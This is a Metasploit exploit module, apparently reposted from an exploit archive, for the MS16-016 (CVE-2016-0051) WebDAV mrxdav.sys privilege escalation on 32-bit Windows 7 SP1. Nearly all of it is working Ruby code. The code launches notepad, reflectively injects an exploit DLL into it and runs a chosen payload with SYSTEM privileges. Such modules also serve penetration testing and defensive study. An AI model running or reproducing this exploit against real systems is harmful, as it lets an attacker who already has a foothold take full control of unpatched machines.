Microsoft Windows 7 SP1 – ‘mrxdav.sys’ WebDAV Privilege Escalation (MS16-016) (Metasploit)
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/post/windows/reflective_dll_injection' require 'rex' class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Process include Msf::Post::Windows::FileInfo include Msf::Post::Windows::ReflectiveDLLInjection def initialize(info={}) super(update_info(info, { 'Name' => 'MS16-016 mrxdav.sys WebDav Local Privilege Escalation', 'Description' => %q{ This module exploits the vulnerability in mrxdav.sys described by MS16-016. The module will spawn a process on the target system and elevate it's privileges to NT AUTHORITY\SYSTEM before executing the specified payload within the context of the elevated process. }, 'License' => MSF_LICENSE, 'Author' => [ 'Tamas Koczka', # Original Exploit 'William Webb <william_webb[at]rapid7.com>' # C port and Metasploit module ], 'Arch' => ARCH_X86, 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', 'DisablePayloadHandler' => 'false' }, 'Targets' => [ [ 'Windows 7 SP1', { } ] ], 'Payload' => { 'Space' => 4096, 'DisableNops' => true }, 'References' => [ [ 'CVE', '2016-0051' ], [ 'MSB', 'MS16-016' ] ], 'DisclosureDate' => 'Feb 09 2016', 'DefaultTarget' => 0 })) end def check if sysinfo["Architecture"] =~ /wow64/i or sysinfo["Architecture"] =~ /x64/ return Exploit::CheckCode::Safe end Exploit::CheckCode::Detected end def exploit if is_system? fail_with(Failure::None, 'Session is already elevated') end if sysinfo["Architecture"] =~ /wow64/i fail_with(Failure::NoTarget, "Running against WOW64 is not supported") elsif sysinfo["Architecture"] =~ /x64/ fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported") end print_status("Launching notepad to host the exploit...") notepad_process_pid = cmd_exec_get_pid("notepad.exe") begin process = client.sys.process.open(notepad_process_pid, PROCESS_ALL_ACCESS) print_good("Process #{process.pid} launched.") rescue Rex::Post::Meterpreter::RequestError print_status("Operation failed. Hosting exploit in the current process...") process = client.sys.process.open end print_status("Reflectively injecting the exploit DLL into #{process.pid}...") library_path = ::File.join(Msf::Config.data_directory, "exploits", "cve-2016-0051", "cve-2016-0051.x86.dll") library_path = ::File.expand_path(library_path) exploit_mem, offset = inject_dll_into_process(process, library_path) print_status("Exploit injected ... injecting payload into #{process.pid}...") payload_mem = inject_into_process(process, payload.encoded) thread = process.thread.create(exploit_mem + offset, payload_mem) sleep(3) print_status("Done. Verify privileges manually or use 'getuid' if using meterpreter to verify exploitation.") end end |